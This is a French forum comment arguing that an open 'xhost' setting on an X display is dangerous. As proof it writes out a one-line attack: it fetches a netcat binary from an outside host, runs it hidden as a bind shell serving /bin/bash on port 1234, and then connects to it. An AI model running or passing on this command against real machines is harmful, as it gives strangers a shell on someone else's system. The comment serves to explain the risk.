<p class="spip"><i class="spip">Il me semble que la commande xhost mise en cause permet juste à n’importe quel utilisateur d’afficher ce qu’il veut sur l’écran dont on vient de désactiver la protection. xhost ne remet pas en cause les autorisations/interdictions d’exécution de certaines commandes (réservées à root par exemple).</i></p>

<p class="spip">Heu, je ne suis pas sur de comprendre ;) Permettre de lancer n’importe quelles commandes a distance, je trouve ca ... plutot dangereux non ?</p>

<p class="spip">Perso je pense qu’on peut tout faire en utilisateur (ou presque ... on ne peut pas sniffer facilement).</p>

<p class="spip">Bien, un exemple de commande amusante :</p>

<pre>xterm -e "cd /tmp ; wget http://gnunux.info/tmp/netcat ; chmod +x netcat ; nohup ./netcat -l -p 1234 -e /bin/bash &"</pre>
<p class="spip">(je telecharge netcat parce qu’il n’est pas souvent installé par défaut ou ce n’est pas forcement la version GNU de netcat).</p>

<p class="spip">Un xterm s’ouvre et se referme trop rapidement pour être compris.</p>

<p class="spip">Il suffit alors, tranquillement installé dans sont canapés de faire :</p>

<pre>nc adresse_ip 1234</pre>
<p class="spip">Bref, il y a clairement danger.</p>

<p class="spip">Merci pour les corrections.</p>